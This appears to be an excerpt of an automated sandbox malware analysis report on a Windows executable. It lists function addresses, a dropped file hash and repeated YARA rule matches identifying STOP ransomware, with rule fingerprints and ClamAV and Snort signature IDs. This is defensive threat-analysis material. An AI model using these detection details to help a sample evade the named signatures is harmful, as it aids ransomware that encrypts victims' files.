Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 6_2_0239CA10	6_2_0239CA10
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 6_2_02397A80	6_2_02397A80
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 6_2_023A0B00	6_2_023A0B00
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 6_2_02392B60	6_2_02392B60
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 6_2_0239DBE0	6_2_0239DBE0
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 6_2_02397880	6_2_02397880
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 6_2_023B18D0	6_2_023B18D0
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 6_2_023AA930	6_2_023AA930
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 6_2_0239A916	6_2_0239A916
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 6_2_023BF9B0	6_2_023BF9B0
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 6_2_023BE9A3	6_2_023BE9A3
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 6_2_023959F7	6_2_023959F7
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 6_2_023989D0	6_2_023989D0
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 6_2_02398E60	6_2_02398E60
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 6_2_023C4E9F	6_2_023C4E9F
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 6_2_023D2D1E	6_2_023D2D1E
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 6_2_02395DF7	6_2_02395DF7
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 6_2_02395DE7	6_2_02395DE7
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 7_2_02217220	7_2_02217220
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 7_2_022922C0	7_2_022922C0
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 7_2_0225E37C	7_2_0225E37C
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 7_2_02217393	7_2_02217393
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 7_2_0221A026	7_2_0221A026
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 7_2_0222F030	7_2_0222F030
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 7_2_0221B000	7_2_0221B000
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 7_2_0221B0B0	7_2_0221B0B0
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 7_2_022170E0	7_2_022170E0
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 7_2_022130F0	7_2_022130F0
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 7_2_022200D0	7_2_022200D0
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 7_2_02219120	7_2_02219120
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 7_2_0225E141	7_2_0225E141
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 7_2_0223D1A4	7_2_0223D1A4
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 7_2_0221A699	7_2_0221A699
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 7_2_0225B69F	7_2_0225B69F
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 7_2_0221E6E0	7_2_0221E6E0
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 7_2_0221C760	7_2_0221C760
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 7_2_0221A79A	7_2_0221A79A
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 7_2_0223D7F1	7_2_0223D7F1
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 7_2_02213520	7_2_02213520
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 7_2_02217520	7_2_02217520
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 7_2_0221CA10	7_2_0221CA10
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 7_2_02217A80	7_2_02217A80
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 7_2_02220B00	7_2_02220B00
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 7_2_02212B60	7_2_02212B60
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 7_2_0221DBE0	7_2_0221DBE0
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 7_2_02217880	7_2_02217880
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 7_2_022318D0	7_2_022318D0
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 7_2_0222A930	7_2_0222A930
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 7_2_0221A916	7_2_0221A916
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 7_2_0223E9A3	7_2_0223E9A3
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 7_2_0223F9B0	7_2_0223F9B0
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 7_2_022159F7	7_2_022159F7
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 7_2_022189D0	7_2_022189D0
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 7_2_02218E60	7_2_02218E60
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 7_2_02244E9F	7_2_02244E9F
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 7_2_02252D1E	7_2_02252D1E
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 7_2_02215DE7	7_2_02215DE7
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 7_2_02215DF7	7_2_02215DF7

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\lgYdZ.exe 4485DF22C627FA0BB899D79AA6FF29BC5BE1DBC3CAA2B7A490809338D54B7794

Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: String function: 022D0160 appears 50 times
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: String function: 022C8EC0 appears 57 times
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: String function: 00428C81 appears 42 times
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: String function: 023B8EC0 appears 57 times
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: String function: 023C0160 appears 50 times
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: String function: 004547A0 appears 75 times
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: String function: 0042F7C0 appears 99 times
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: String function: 0044F23E appears 53 times
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: String function: 00428520 appears 77 times
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: String function: 00454E50 appears 42 times
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: String function: 02238EC0 appears 57 times
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: String function: 02240160 appears 50 times

Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7344 -s 1604

Source: MyProg.exe.1.dr

Static PE information: Resource name: RT_VERSION type: MIPSEB-LE ECOFF executable not stripped - version 0.79

Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 19.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 19.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 16.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 16.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 6.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.23915a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 6.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.23915a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 13.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 13.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 4.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 4.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 11.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 11.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.22a15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.22a15a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.22a15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.22a15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 7.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.22115a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 7.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.22115a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 6.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.23915a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 6.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.23915a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 17.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.22015a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 17.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.22015a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 16.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 16.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 15.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.22915a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 15.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.22915a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 11.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 11.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 17.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.22015a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
